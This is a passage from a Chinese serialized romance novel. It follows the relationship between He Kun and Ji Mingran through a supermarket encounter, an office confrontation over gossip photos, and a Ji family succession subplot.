宋榄穿着卡通睡衣,将一个吻直接落在贺青峰脸颊,亲得响亮:“保证完成任务,贺长官。” “幼稚。”贺青峰耳垂微红。 …… 现在来看,只剩恶心。 他深呼吸着找回平静,重返房间更换衣服,就在拿起手机准备出门时,对面的人再次精准卡点,将信息发至。 【老婆,生气也好可爱,猜猜我在哪?】 贺青峰眼皮微跳,胃酸烧得喉咙刺痛火辣,房间的灯依旧明亮,每个角落却因短信的内容变得阴森可怖。 身体叫嚣着要尽快离开,他行动果断,收起手机,拉黑号码,头也不回往外走。 —— 贺琨是在纪明冉身旁醒来的。 窗外暮色晦明,夕阳列在大厦间隙中,将高楼轮廓镀上层柔软的光晕,洒在兰临市的江面上波光粼粼,如同流动的碎金。 纪明冉回到公寓那天恰逢周四,紧接着上了周五的班,便迎来了周末,两人窝在公寓里,不知天昏地暗地闹了两天。 他从期待反攻到逐渐认命,觉得自己已经“熟”透了,各种意义上。 贺琨喝水喝多了,现在只想起床去卫生间。 他小心翼翼地低头,纪明冉还保持着睡前的姿势,整个人埋在他怀中,看起来睡得很熟。 贺琨不忍心,只好又数着时间等了半个来小时,直到开始小腹胀得发痛。 纪明冉突然睫毛扑朔似乎将醒,贺琨松了口气,却没想到冉冉只是换个姿势,然后又陷入了沉睡。 那只温凉的手掌却在动作间,再次紧按贺琨的后腰,占有欲极强地往自己的方向猛压。 这个看似不经意的动作,却将贺琨的柔软小腹抵撞在纪明冉最结实的腹部肌肉上。 一阵尖锐瞬间占据所有思绪,贺琨倒吸着凉气仰头,眉头皱得死紧。 等锐意过去,他赶忙将埋在胸前的纪明冉微微推开,忍着肌肤传来刺痛,津液拉出银丝,晶莹透亮,像裹满糖衣的小山楂。 贺琨落荒而逃般,踉跄地进了卫生间,还不忘记将玻璃门小声关闭。 就在卫生间门锁下落的那秒,纪明冉睁开双眼,压根不见困意。 他盯着那道磨砂玻璃门,慵懒地支起额头,眉眼间带着似有若无的笑意,牙关再次惯性地轻合微碾。 傍晚凉快,两人走路去到公寓附近的大型超市,人来人往,声音嘈杂,很是热闹。 贺琨看着身前走过的小女孩,晃晃悠悠地提着裙摆晃悠,背着仙子翅膀,手上还拿着亮晶晶的“魔法棒”,微不可查地扬起嘴角。 两人散步似的,有一搭没一搭的聊着,直至纪明冉停在冷藏柜前,低头认真地挑选着水果。 贺琨也随之停下,站在纪明冉侧后方。 他半弯着腰,双手自然地压在推车的扶手上,胸前绵软的布料也因此自然垂落,旷出些空间,不再贴身摩擦。 “想吃吗?” 贺琨闻声抬头,纪明冉拿着几枚绿橙,浅色的夏日休闲套装将他192的身高修饰得挺拔养眼,浑身散发着有钱且有质感的味道。 他有些微微愣神,瞬间而细微日常,将一种名为“幸福”的感觉,填满身体的每寸。 贺琨真实地意识到,他和纪明冉在生活。 纪明冉走近,将绿橙放在贺琨眼前晃了晃,“嗯?” “吃!”贺琨笑起来,重重点头。 纪明冉刚想说话,余光却瞥见个盯着他们好几分钟的青年。 是位前刺发型的男生,穿着件复古潮流的短袖衬衫,黑色的纹身占据了半臂。 他揽住贺琨,凑在贺琨耳边,十分亲昵道:“那位是谁啊?宝宝。” 酥麻顺着耳畔,窜过贺琨的脊梁,只有两人行事时,尤其是纪明冉兴奋至极时,才会这般声声唤他。 贺琨有些羞,脑子一下热了,心虚地张望四周,皱着眉头装凶,口齿却结结巴巴。 “你,你快些闭嘴吧。” 话毕,他顺着纪明冉的眼神示意的方向看去,看见了位眼熟的青年。 贺琨记得他,是前段时间散打馆认识的,叫张阳。 张阳很久没见到贺琨,但每每想起贺琨总是心痒痒,就这样难受了好一段时间。 他终于想起自己曾经在贺琨手机页面的支付消息中,瞥见过这家超市。 自那以后,他有空就偶尔过来转转,想着要是老天有眼,觉得他们有缘分,怎么着也能再遇上吧。 就在张阳坚持的第四周,也就是今天,终于见到了心心念念的人,只是阿琨旁边竟然站着个男人,动作暧昧亲密,他心里有些急,转眼打量过去。 说实话,那个男人确实好看,个子也高,但就是太优雅清冷了。 怎么说呢,感觉和他、和阿琨就不是一个路线,自己应该还有希望。 张阳想到此处斗志昂扬,他直接忽略那人,扬起眉眼朝贺琨开朗一笑:“嘿,阿琨,好久没见到你来练拳了。” 贺琨短暂地仰头看了眼身侧的纪明冉,收回视线心想,那是感觉练了也没用。 “最近工作很忙,暂时不会去。”贺琨礼貌微笑。 张阳眼中闪过失望,不过转瞬调整好情绪:“是吗?确实得以工作为主,就是我很久没找到像阿琨这样合适的对练,不知道可以加个好友吗?到时有空一起?” 纪明冉温和地站着,并未出声打扰两人的对谈,视线落在远处,并不知道在想什么。 贺琨怕麻烦,况且他和冉冉如同这样悠闲的时光并不多,贺琨很珍惜。 见纪明冉没有明显的介意,他觉得先添加好友,稍后删除便好,以免不必要的纠缠,“好的。” 张阳看着手机页面,直到添加好友成功的消息对话框弹出,才放心地将手机收回。 完成目的,他见好而收,热情地和贺琨告别,走之前还摇摇手机说道:“回见,阿琨。” 贺琨点点头,将人送走。 纪明冉风轻云淡,把玩着手中绿油油的橙子。 “再挑些?”贺琨转身,看着在纪明冉掌心滚来滚去的绿橙,以为他喜欢。 纪明冉扫了眼粗枝大叶、毫无自觉的贺琨。 “我记得,某人的协议上说,协议期间双方均不得与他人发生性关系。” 贺琨汗毛炸起,鉴于自己上一世并不光彩的前例,连忙解释:“我和他从来没有私下见过面,真的,你看,他都是刚刚才知道我的联系方式。” “而且,就算是之前对练的时候,我们每天最多也不超过十句话,我发誓,若有半句假话,就立马——” 纪明冉及时捂住贺琨的嘴,两人对视。 这时,贺琨因为被强制闭嘴而呆滞的眼神突然清明,他弯起嘴角,拽下纪明冉的手掌,像是中奖般窃喜,“你害怕?是担心我,是不是?” 担心还是吃醋,纪明冉自己也不知道。 他看着贺琨,开心得像个傻子,眼睛里盛满星星,不打算好心解答,缄默地回到冷藏柜前继续挑选。 贺琨连忙拿出手机,眼巴巴地凑到纪明冉跟前,将张阳的联系方式删除得干干净净,还附赠道:“你以后随便检查我的手机,解锁密码是你的生日。” “傻。” “啊?冉冉你说什么?” “没有。” …… 是夜,万物沉寂,高级公寓的某层,卧室内台灯还亮着。 纪明冉老实地剥着绿橙,心满意足、心甘情愿地伺候“早年瘫痪”在床的贺少爷。 指腹微微陷入软皮,独属于橙子的清香散出,霸道地掩住室内甜腥味。 略带酸涩的气味让他忽地想起今夜在超市里的事,情绪再次涌上心头。 纪明冉看了眼睛越眨越慢的贺琨,刚才还说要吃绿橙,现在都快睡着了。 他故意将绿色橘皮含在唇间,不容拒绝地吻上困顿的人。 又酸又苦的橘皮汁水顺着唇线,全部流进贺琨口中,推搡无果,他只好被迫仰头,将这片橘皮咀嚼细碎吞咽。 纪明冉报复心很强,“不是喜欢上厕所吗?” 他拉起贺琨往身上搂,半推半就地进了卫浴间。 不一会,视野再次晃动,贺琨累得游神,思绪缓慢地品味着纪明冉的话。 嗯?! 第30章 第三十章挥霍无度首都西郊,纪家庄…… 首都西郊,纪家庄园。 纪夫人正对着梳妆镜佩戴一套蓝调翡翠,外嵌钻石点缀,质地清透如水,色融于底。 是她在昨夜的拍卖会上看中的,淡雅宁和,炒到最后身价翻了数倍。 不过权当为喜欢买单罢了,金额不过只是账户上的一串数字。 她将首饰调至到满意的角度,方才抬眼睨向斜后方站着位消瘦的少年。 “我费尽心力将你接到主家,从今天开始你就是我的儿子,要做纪家最出色接班人,知道吗?” 纪行思穿着定制的黑色西服,沉默中带着韧劲:“知道。” “光知道还不够,从今往后你只有一件事,一个目标,就是不顾一切成为纪家的掌权者,能做到吗?” “我会尽力,纪夫人。” 纪夫人听见回答微愣,眼前的少年和17岁时候的纪焯慢慢重合。 她的儿子不是这么说的。 那时雨水顺着屋檐滴滴答答的落,老宅的室内光线并不好。 但回老宅的原因,纪夫人忘记了,她只记得17岁的纪焯站在背光处,看不出什么表情。 他说:“母亲,一定的,我一定会竭尽全力,成为最让你骄傲的孩子。” 台上的木梳不知何时钩住了刚取下的玉镯,在不经意地动作间,掉落在地上砸出脆响,唤回纪夫人的注意力。 那似乎永远高昂的头颅,终于也在这一刻低垂。 她弯腰捡起木梳,放在手中小心擦拭,没有将半分眼神分给那碎裂在地上的玉镯。 关于纪焯永远消失的事实,没有让她的伤神持续太久,纪夫人很快恢复冷硬。 “叫我母亲,记好了,下不为例。” 纪行思看在眼里,最终只是答了句:“是,母亲。” 傍晚6点,纪家餐厅灯火通明。 就在这次小型家庭聚餐后,纪行思正式成为纪夫人付鸢榕的养子,法律上的合法继承人。 饭后,纪清嵩按照往日的习惯控制着轮椅,缓缓行向庄园最小的那座玻璃花房。 纪家,纪父纪正源的六位子女,除了已经去世的老二纪焯,如今长期住在庄园的并不多。 大姐纪姝已经婚嫁,在外居住,虽然说她的丈夫算个倒插门,但这个时代也不同曾经那般讲究那么多,夫妻二人单独居住显然更为方便。 三姐纪禾是知名的女明星,哪里方便住哪里,回来的时间非常少。 接下来就是他自己,因为腿脚不便,一直安静地居住在庄园里,存在感并不强。 纪柏达也成婚了,妻子是位画家,经常在各地看展办展。和大姐纪姝一样,两人带着儿子小威尔单独住。 但因为纪柏达和他母亲何女士的感情极为好,所以纪柏达常回来,只是他的妻子却很少能见到。 接下来就是六弟纪明冉了,他没结婚,也不常回,毕竟是成年后才认回纪家的,和庄园的感情可以说是,没有。 所以,纪清崇在庄园里最多见到的只有新小弟纪行思,其次便是纪柏达了。 庄园里的玻璃花房大大小小有好几座,他去的是最小的那座,位置偏僻。 花房内的植株都是比较常见的品种,随便拿出来,也是价值千金的,但比起庄园其他各处的名花贵种,那自然是丝毫不起眼。 纪家毕竟历史久,家底厚。 也正因如此,园丁偶尔才会来,更多的时候则是纪清崇在打理。 只是今日,纪清崇并不像往日那般,沉默地来,沉默地走。 他拿出手机拨通电话,声音略微沙哑,似乎很久没有开口说话了。 “柏达?” 纪柏达目前依旧待在青平市,看见来电备注上的名字也有些诧异。 “四哥?有什么事情吗?” “今天小思成为我们的七弟了。” 纪柏达将手机微微拿开,眉头挑得老高,有些不解,这都知道啊。 除了他和纪明冉身在外地,确实有事脱不开身,应该家里人都去参加晚宴了吧。 “对啊,我知道,哥替我给小思问个好?” “嗯嗯,我看父亲好像身体不太舒适,今晚家庭聚餐时气色不好。”纪清崇语气中充满担忧。 纪柏达坐在办公室内,背后的落地窗外是傍晚的城市景色,他把玩着手中的钢笔琢磨着,陷入沉思的表情有些凝重。 纪柏达反应很快,顷刻间就换上熟悉的嘴脸,冒冒失失地说起来。 “哎呀,爸爸年纪都过半百了,也是正常嘛,等我忙完回来,爸爸肯定已经健步如飞了哈哈。” “也是,父亲身子向来硬朗。其实,我还有件事想拜托柏达,真是不好意思,要是会造成什么困扰,柏达直接拒绝我就好。” 纪柏达眸光微转,原本紧绷的肩膀松弛下来,将脚腕交叠,抬上办公桌开始摇摇晃晃。 脚上的黑色皮鞋在白炽灯下泛着冷冽光泽,细腻皮革如镜面般映出办公室内摆件布置的光影,看似散乱却井井有序。 原来是有事求他,拐了这么大个弯,真是铺垫得够累。 “没事没事,四哥,我们都是一家人,何必说那些两家话。” “我有个朋友的侄子叫蒋山,原本是在青芜涯项目里做助理,前段时间不知道犯了什么事,竟然被开除了,还想拜托柏达帮我那朋友问问,或许还有什么挽救的机会。” 纪柏达印象里确实有这么件事,孙平和他提过一嘴,无关派系,此人确实各方面能力都不行。 纪明冉为了给贺二出气,“巴掌”都打他脸上来了。 为了体面,他让团队那边抗住压力,出手保了此人段时间,最后实在保不住,便顺水推舟地辞退了。 工作千千万,这还不好找吗? 纪柏达想给纪清崇买个面子,四哥难得开口,若是帮忙说不定会带来什么意外的超额回报。 “好,没问题,哥,有合适的岗位,我给他安排个,都是小事啦。” 将人丢到收益已经不行的夕阳公司去,回收资产还要时间呢,混段日子没问题。 四哥是个闲人,每天养花弄草,基本不参与纪家的生意,你不说我不说,谁知道。 兄弟两人又寒暄了几句,才将电话挂断。 小花房里,纪清崇面色沉静,丝毫不见语气中的窘迫。 他淡定地从工具柜中拿出把剪刀,很快得到了一捧清雅的淡紫剑兰。 放置在玻璃桌上的手机屏幕亮起,是一条短信回复。 【好的,先生】 顺着消息栏看上去,可以看见部分手机主人发送的内容。 【告诉他,按方法做,才能活。】 四日后,晚高峰时间后。 纪柏达关上办公室的门,乘上直达私人车库的电梯。 今晚订了机票回首都,这个周末,打算带着威尔去找奶奶何女士。 他悠闲地哼着不成曲调的WaltzNo.2,从文件皮夹中取出车药匙,拉开车门,正准备上车。 余光里突然闪过个黑影,吓得纪柏达尾音一飘,哽在嗓眼里不上不下。 顿时怒意上头,只是还没来得及发火,就看见角落里一个戴眼镜瘦小的男人佝偻着身体,低着头颤颤巍巍地走来。 纪柏达瞬绷紧肌肉,浑身气势陡变,背靠车门,握住车内的高尔夫球杆。 “你谁?怎么进来的?” 蒋山噗通一下,直往地上跪,双手高高举起,像在演那什么谍战片。 “五爷,是我,我蒋山啊,求您给条活路吧,纪……纪纪明冉,对!是纪明冉,他要杀我!!” 蒋山声音颤抖,似乎是不敢将纪明冉的名字念出来,后面又不知是哪来的勇气,舌头打了几次摆,兀自大吼出来。 声音尖锐诡异,像个神经质,完全沉浸在自己的世界里。 车库空旷,刺耳的声音在通风管道之间荡来荡去,连墙壁渗出的水渍都跟着回声微微发颤,粘腻又阴郁。 纪柏达也认出来了,但蒋山引起了他严重的生理不适,这才短短几周时间,此人似乎更扭曲了。 “现在是法治社会,蒋先生,有什么问题,你应该去找执法人员。” “不不不不不不,五爷,没有用没有用没有用” 纪柏达看着蒋山的状态直皱眉,再单独相处下去,他会更担心自己人身安全。 “纪明冉,我要杀他,我要杀了他,是他要杀我*” 蒋山还在碎碎念,零碎的动作不断。 纪柏达烦躁地扫视,糟心得连答应四哥的事都不想办了。 转眼却敏锐地看见蒋山手腕上新鲜的割痕,这样的角度,显然只能是自伤。 一个不怕死的人。 思虑几秒后,纪柏达转了转手中的高尔夫球杆,在空气中勾出漂亮的金属色弧度。 “别怕,我保你,先去工作吧,会有机会的,充满希望,”像是察觉到话中的歧义,他补充道,“哦,是人生。” —— 早晨六点半,卧室白壁上的挂钟分针跳到数字6的上方,在生物钟的作用下,纪明冉准时起床。 他看了眼身旁还在熟睡的贺琨,将软和的被子拉好,轻声离开房间。 在客卧的浴室洗漱完毕后,换上运动套装,准备出门晨跑。 兰临市气候宜人,夏日的早晨并不闷热,鸟鸣婉转,草木清香四溢,微凉的风吹拂在而过,十分惬意,旭日已经冉冉升起。 纪明冉看了看运动手环,觉得时间差不多了,便调动着呼吸的节拍,缓缓降低跑步的速度。 他走到一台自助售货柜前,从中取出瓶矿泉水,缓慢补充水份。 回公寓时,路过附近的手作咖啡厅时,纪明冉想了想,订了两杯。 电动牙刷嗡嗡作响,贺琨懒洋洋地依在洗漱台刷牙,右手拿着牙刷柄,左手滑动着手机,看着行业相关的时事资讯。 纪明冉今天去公司,他则是居家办公。 “贺琨,早餐。” 卧房门突然被推开,贺琨吓得把手机放下,端端正正地站在镜子前,干练严肃的模样。 这么多年到底是装成习惯了,虽掉过已经数不清次数的底,但这次贺琨也觉得有些许做作了。 他假装无事发生,再次拿起手机。 脚步声慢慢靠近,一双冷白色的结实小臂将贺琨纳入了怀中。 他先是闻到一阵沐浴露的味道,随后又泛上来烤吐司的奶香。 纪明冉低头,无比自然地在贺琨发间印上一枚吻,眼低轻微晃神。 时至今日,他也有些分不清自己到底是为了私欲,还是和宋揽的合作才和贺琨再次纠缠。 宋榄提出计划的时,纪明冉承认,当时确实很看好合作成功后的“高回报”,于是直接转变态度,答应贺琨的追求。 他已经做好准备,像个漂亮精致的摆件,被贺琨得到后,然后再随意地搁置。 不过这次无所谓。 因为,纪明冉的目的不再是等到贺琨的爱。 贺琨把他当漂亮“摆件”,他把贺琨当谋利“工具”,这很公平。 可是,一切都变了。 在纪明冉最不需要的时候,他得到了贺琨全心全意的爱。 而这份爱,拦住他的去路。 “我都看见了,真是不巧,小朋友。” 纪明冉掩盖住烦躁,凑在贺琨耳根后轻轻说,重新带上笑意。 贺琨喝下一口水,两颊鼓鼓胀胀,直到嘴里的泡沫消失干净,只余下清香,他将牙刷放好,才看向镜中的纪明冉。 “行业资讯,我很忙的,好吧。”贺琨连忙开口否认,试图展现自己的成熟可靠。 他小幅动作转身,仰头看向纪明冉,右手小臂横在两人中间,不想过近地贴着。 不是不喜欢,如果只是单纯拥抱,那他24小时也不要和冉冉分开。 问题就是,纪明冉不是吃素的,贺琨真的有点受不住了。 “早餐都凉了,上班会迟到的。” 眼见氛围愈发旖旎,贺琨目光躲闪,微微往后缩,他很真诚地劝说:“你这样挥霍‘子孙’,迟早要早年脱发的。” 纪明冉先是皱眉不解,在贺琨往下扫的视线里,很快气笑了。 “没有实践,就下结论?”他搂住贺琨就往洗漱台上送。 贺琨简直是两眼抹黑,赤脚就往纪明冉胸口踹,结果却被对方拽住脚腕一拉,姿势更是糟糕。 他顺势盘住纪明冉的腰,双腿锁死,趴在纪明冉肩头:“那你先‘杀’了我吧。” 结果半晌没见动静,贺琨悄悄睁眼。 纪明冉正正经经地站着,反倒用意味深长的目光看着他“投怀送抱”的姿势。 贺琨不自然地清嗓,立马松开纪明冉,表情淡淡地,装做个没事人往餐桌走。 “我去吃早餐。” —— 窗外暮色渐沉,纪明冉放下钢笔,揉了揉发胀的太阳穴,尽管疲惫,领带却系得端正。 外出几日,工作再次堆积起来,耗费了整天的时间才处理得差不多。 肃山敲门,“纪先生,白塔研究中心有一封的回邮。” 见纪明冉点头,他走进办公室,将手中的平板递到纪先生手中。 纪明冉垂眸打开邮件,睫毛在眼睑下投出细碎阴影,唇角抿出严肃的弧度,微蹙着眉心向后靠去,办公椅发出轻微的吱呀声。 “嗯,知道了,先不着急回复。”他看完邮件内容,吩咐肃山。 “好的。” 肃山本想开口询问,但是见纪先生表情实在不愉,暂时压下不表。 安静地离开纪先生的办公室后,却在转角遇见了汪荣。 此人在几位高层助理中,综合能力不算特别出色,但也不差。 长相自然是俊秀白净,衬衫袖口卷到小臂,腕骨线条利落,手中托着份文件夹。 可肃山一向不喜此人,没有理由,只是直觉。 他不会因私误公,只是现在纪先生显然心情不好。 “汪助,纪总正忙,如果事情不急,可以明天再议。” 汪荣停下脚步,看向肃山,晃了晃手中的文件,无奈笑笑:“谢谢肃先生提醒,真是不巧了,咱们打工的讨口饭吃,再难也得上啊。” 肃山见此不再多言,回以微笑,转身离开。 汪荣见其离开,鄙夷地翻了个白眼,还想拦他,怕不是和那个贺琨一伙的,也想攀附纪总吧。 他心中讥笑着,从玻璃反光中检查自己的着装,清清嗓子,扬起满意的笑容,踏进办公室。 “纪总,午好。” 纪明冉听见声音,将视线从笔记本电脑上收回,看见的先是汪荣手中蓝色的文件夹,然后才扫过来人的脸。 他看着汪荣,等待对面汇报。 汪荣原本是站在办公室门口,镜片后,双目含着的三分笑意,与纪总对视后,笑容更加真切几分。 他走到纪总办公桌前,找到自我感觉最好看的角度,留给坐在办公椅上的人。 慢条斯理地将文件夹放下,端起桌上还剩半杯但已然凉透的咖啡,打算为男人更换。 “纪先生,周五早晨的会议资料准备好了,需要现在过目吗?” 纪明冉没说话却让空气沉了两度,他看了汪荣两秒,像是在确定此人能成为助理的资质:“今天周几?” “周一?” 自己的好相貌和好态度显然没有发挥作用,汪荣立马下意识道:“抱歉,纪总。” “出去。” 汪荣急了,他的目的还没达到,可不能走,于是慌不择言道: “纪总,我了解恒辉的运行情况,确保本周不会再有其他事项上会,才来找您确认的。” 纪明冉目光像冰锥扎在汪荣身上,像是已经将他的放不上台面的心思看透,“出去,还是离职?” 汪荣闻言,端咖啡的手抖得厉害,褐色液体在骨瓷杯沿晃出细浪。 他忽地想起那天贺琨在电梯间嚣张滋事的模样,以及背着纪总,和其他陌生男人暧昧不清。 眼看勾搭不成,他决定赌一把,紧张得再三吞咽口水。 汪荣觉得空气凝滞了很久,其实却不过只是几秒钟。 “纪总,我,我知道一个关于贺先生的秘密。” 30-40 第31章 第三十一章本该结婚“什么秘密,我…… “什么秘密,我也听听。” 贺琨斜倚在门框上,单手插兜,表情自然。 因为今天没有正式场合需要出席,他穿得比较休闲。 一件白色系短袖,搭配浅蓝牛仔裤,细节处颇具设计感,简洁却不单调。 汪荣听见贺琨的声音,吓得一哆嗦,转而得意起来,眉眼满是即将得逞的窃喜。 “呵,你做的肮脏事,难道还要我帮你说,给你留个面子,自己赶紧和纪总承认吧。” 贺琨挑起右眉,人无语至极的时候是会笑的。 “我?” 贺琨与纪明冉对视,和早上离开公寓时一样,西装革履,散发着成功人士的味道。 胸口前的墨蓝色领结,还是今早上自己系的,现在政端坐在办公位上,不动声色,坐着看戏的架势。 但他知道纪明冉肯定好奇了,不然汪荣也不会有机会“表演”到现在。 贺琨起了逗弄的心思,指尖隔着牛仔布料在腿侧轻点,随后跨出步伐,走进办公室内,故意来回踱步一圈。 “我想想啊,肮脏的事,可真不少” “先从哪件开始坦白呢?” 贺琨说完,玩味地看向纪明冉:“我觉得,昨天晚上的事,就值得好好说道一番。” 两人心照不宣,终于轮到纪明冉窘迫了。 向来游刃有余的男人啪地合上文件夹,目光扫到汪荣:“你可以出去了。” 汪荣已然听不进去任何语言,他急切地盯着贺琨,目光灼灼:“你继续啊!有胆你就说出来!” 随后,又转头看着纪总,情绪激动,抬起手臂指着贺琨。 “纪总,上周您出差,贺琨他不仅在电梯内殴打员工,还与陌生男人约会,他背叛您!” 这下轮到贺琨懵了。 他想过很多种可能,关于汪荣会如何泼脏水,什么泄露商业机密、搞小团体,都是很常见的手段。 唯独没想到竟然会是“与陌生男人约会”? 贺琨脑内瞬间拉响警报,他对这个话题太敏感了,几乎是下意识的反应。 “不可能。” 贺琨顿时严肃,“王先生,你如果执意造谣,后果自负。” 这下汪荣彻底炸了:“汪!” 贺琨:“?” 为什么突然学狗叫。 纪明冉看不下去:“汪助理,汪荣。” 汪荣拿出手机,立马翻到群里的聊天记录,将照片找出来,猛跨一步,直接递到纪明冉面前,一副若有其事的模样。 贺琨实在好奇,他自己都不知道自己和陌生男人约会了。 看着幸灾乐祸的汪荣,他走到纪明冉身旁,目光投向手机屏幕。 确实。 屏幕上,照片中有两个男人站在一起,在恒辉的大厅里。 看起来更成熟的那位男人,抬手放在贺琨的后脑勺,两个人都笑着,视线中彷佛只有对方。 拍照的角度很别致,但氛围感塑造十分到位。 贺琨胳膊上的鸡皮疙瘩都窜起来了。 他和他哥?别搞。 贺琨此生都做不出兄友弟恭这事。 他带着淡淡的嫌弃移开视线,今天最大的精神冲击是这张照片给他的。 “汪先生,我看你是真的脑子有病,回家吧。”他看向汪荣,眼神里充满同情。 纪明冉没说话,继续研究群聊。 汪荣的注意力则是完全被贺琨吸引,他没想到这人死到临头了还能如此理直气壮。 “贺琨,你玩完了,哪来的就滚回哪去吧,倒贴上位,整个公司谁不知道,你就是个笑话。” 贺琨迷惑,整个公司的笑话?恐怕整个恒辉,才是他听过最好笑的笑话。 “你知道照片上的男人的名字吗,他叫贺青峰。” 贺琨看向汪荣的目光更同情了,不知道脑子里每天在做什么梦。 “贺青峰,贺贺青峰?” 汪荣低着头,嘴唇哆嗦个不停,光凭两人都姓贺,他就知道其中误会有多大。 但更关键的是,他记得这个名字,太耳熟了,经常出现在财经新闻上,好像是迅科集团的那位董事长。 那贺琨,不就是那位不常出席的贺家二少爷? 汪荣被自己的推断吓得直冒冷汗,动作僵硬地缓缓抬头,侧眼偷摸观察贺琨此时的表情。 只见对方上下打量了自己一眼,压低音量,凑近道: “想要纪明冉啊?恐怕不行,别为难我哦,你知道,有些事,国内很难办的。” 贺琨贴心劝说,压低眉眼笑得好生无奈,似乎要处理汪荣这件事,真的是很棘手的问题。 汪荣踉跄后退,后腰撞在桌角发出闷响,整个人缩成虾米状。 贺琨见状退开,拉开距离,敞亮道:“断了心思,重新找个班上吧,实在想走捷径,不如早点找个男人结婚去。” 警告萦绕在耳边,汪荣根本不敢细想背后所指的内容。 他艰难地吞咽口水,完全不知道自己还能说什么。 汪荣怀着最后一丝侥幸,重新看向纪明冉。 纪明冉不赞同地注视着两人的靠近,直到贺琨重新拉开和汪荣之间的距离,他才舒展眉头。 察觉汪荣的视线后,纪明冉缓缓放下汪荣的手机,面色不虞。 “汪荣,可以请你解释这些内容吗?” 手机屏幕被上下滚动,满屏皆是恶毒邪淫的揣测、辱骂以及各种不雅观的偷拍。 只能说贺琨和贺青峰的那张合照,放在其中,已经非常非常体面。 公司里的成员无论是男是女,都没有被这无聊恶心的人放过。 汪荣这才意识到自己犯下了多么愚蠢的错误。 他意识到根本没有什么机会了,喉间溢出的呜咽碎成不成调的气音。 抓起桌面上的手机,落荒而逃。 贺琨侧身躲开,以免被撞。 他打算是来接纪明冉下班的,虽然遇到了汪荣,但幸好基本的计划没有被打乱,时间还不晚。 饭后,城市已经点亮了路灯。 他牵着纪明冉的手逛着兰临市的某个商城,因为是当地的奢场,人流量比较少,并且室内有空调。 纪明冉根本不能用天气热拒绝自己。 追老婆是这样的,心机贺琨的千层套路。 “冉冉,那个汪荣手机上的是什么?”贺琨看起来正经,实则数着脚下的瓷砖线条。 “一些不好的东西,肃山会处理。”应该会去监狱。 “好。” 纪明冉说的,贺琨都答应。 他盯着不远处的地面,很快眼睛就花了,仰头正巧看见一家品牌服装店。 “嗯?听说它家的设计师出了很多创意款式。” “确实可以。” 纪明冉顺着贺琨的视线看去,直接拉着人踏进了店内。 销售见到两人,热情接待,纪明冉微笑点头,随后站在贺琨身后半步,随之走走停停。 “你去试试好不好?” 贺琨看着展柜里的男士服装。 纯白色中世纪复古衬衫,中高领蕾丝镶边,搭配同样雪白的西裤。 腰封紧致,云肩外拢清透白纱,手工刺绣嵌钻,由白银色的珠宝连接。 长及腰身的两串珍珠缀在蕾丝飘带上,环绕两圈垂下。 他们很少在商场里购买衣物,但打扮纪明冉的心思油然而生,没有任何预兆。 “非卖品吧。”纪明冉更想看贺琨穿。 贺琨若有所思,转身和销售商量了两句,不知是怎么说的,但是成功了。 销售歉意地微笑,让两人稍等,于是转身离开。 “试试吧,试试好吗?” 贺琨凑到纪明冉跟前,悄悄低声说了几句,忍住羞耻,鼓足勇气,越说眼神越躲闪,心虚极了。 纪明冉轻笑,捏了捏贺琨的耳垂:“这样啊,那我可要好好考虑。” “可是,已经是极限了。”贺琨声线有些颤抖,脖颈的红漫上耳垂。 “不够,得加码。”纪明冉眼含笑意,不耽误他的无情。 把明天的困难,留给明天的自己,今天的贺琨不管了:“成交。” 纪明冉拉开更衣室的门时,尽管贺琨做足了心理准备,还是被惊艳得失去语言。 他说过,冉冉真的很好看,比影视圈里任何的明星都好看。 混了两国的基因,但异域风情并不是很明显,唯有那双琥珀色瞳色极浅,几乎偏向金色,鼻梁高挺,棱角分明,肤色在灯光下白得晃眼。 身穿洁白的服装,充斥着白纱、珍珠、钻石等元素,像要步入婚姻的新人。 贺琨眼眶有些酸,他记得冉冉说26岁就结婚,就只差一点点。 他们本该是夫妻的。 “过来。” 纪明冉打破沉默,带着不容拒绝的口吻。 比思绪反应更快一步的,是贺琨的身体。他鸦羽似的长睫下垂,走到纪明冉身边。 这下反而不敢看了,他低垂着脑袋。 “就这么喜欢?” 纪明冉霸道捏住贺琨的下颌,将贺琨的头抬起,拭去他眼尾隐蔽的泪水。 好情绪化,有些丢脸,贺琨按住纪明冉的手,想要退开些距离。 “嗯?” 纪明冉的尾音上扬,像一把小钩子在心里挠,姿态高高在上,看起来必须要得到答案。 贺琨顿住动作,脸嗡地烧红了,这该怎么回答,之前好意思的,反而现在不好意思了,他支支吾吾,和外表人设完全不符。 “…嗯…” 纪明冉笑笑,看向贺琨身后的镜面,倒映着两人亲密的模样。 他转过贺琨的身体,从背后搂住贺琨,强迫镜中的青年与自己对视。 攻势极强,不容喘息。 纪明冉扬起蛊惑人心的笑容,偏头到贺琨的耳侧,猝不及防道:“老公?” 贺琨灵魂震颤,黑茶色的瞳孔猛然一缩,忘记了呼吸。 明明不是,这样反倒充满逗弄。 “求你,别说了。” 贺琨低声道,脸臊得更红,面软极了,察觉纪明冉的力道松下,连忙移开视线。 在没有发生关系的日子里,他做梦都想听见这个称呼。 无关那些情欲,只象征着纪明冉属于他,两人不会再被分开,尽管是死亡。 “哦?我以为你喜欢呢。” 纪明冉不在意地弯着眉眼,像是看穿所有。 直到贺琨那张冷郁厌世的面容上的悲伤终于散去,他才松开禁锢住贺琨腰身的手臂。 眼前人只剩下不自然的红晕,看起来就让人想肆意欺负,好让他乖软求饶。 可惜,是在外面。 “喜欢就买下,回家了。” —— 平静的日子总是过得很快,夏天匆匆而过,街道两侧的枯叶在微凉的风中,打着旋落下,城市进入了初秋。 纪明冉将工作重心完全移到了兰临,两人如同所有热恋期的情侣般共同生活。 至于那张所谓的床伴协议,好似被遗漏在角落。 贺琨在书房中翻找刚到兰临市时的记录,是一份关于小山口的初版资料。 因为比较草率,所以当时被作为草稿,并未及时归档,但是现在又需要了。 关于小山口的任务,贺琨负责的前期环节已经差不多结尾。 历保建筑改造已经通过多方管理部门的审核,保护范围已经划定清晰,保护与利用要求也让相关设计团队,以及施工负责人熟悉。 手机弹出消息提示,贺琨加快动作。 书柜的某本书籍却突然砸落,几张照片因为书脊与大理石地面碰撞,被磕碰出来,洒在地面上。 贺琨皱了皱眉,应当是冉冉的东西。 他蹲下身,打算捡起来收好,避免重要的东西丢失。 可刚弯下腰,贺琨的手便僵持在空中,照片全是各个场景,各个角度,他和冉冉的亲密合照。 他记得那张在电梯间的照片,纪明冉正在为他整理领结。 是冉冉刚提出换个方式相处的第二天,他们一起去上班。 而这个角度,像电梯间的监控。 还有那张,是在公寓门口,他被发烧的纪明冉拽进怀里,拉到身后。 陈深也在,那天晚上,贺琨记得陈深是来给冉冉送粥和药的。 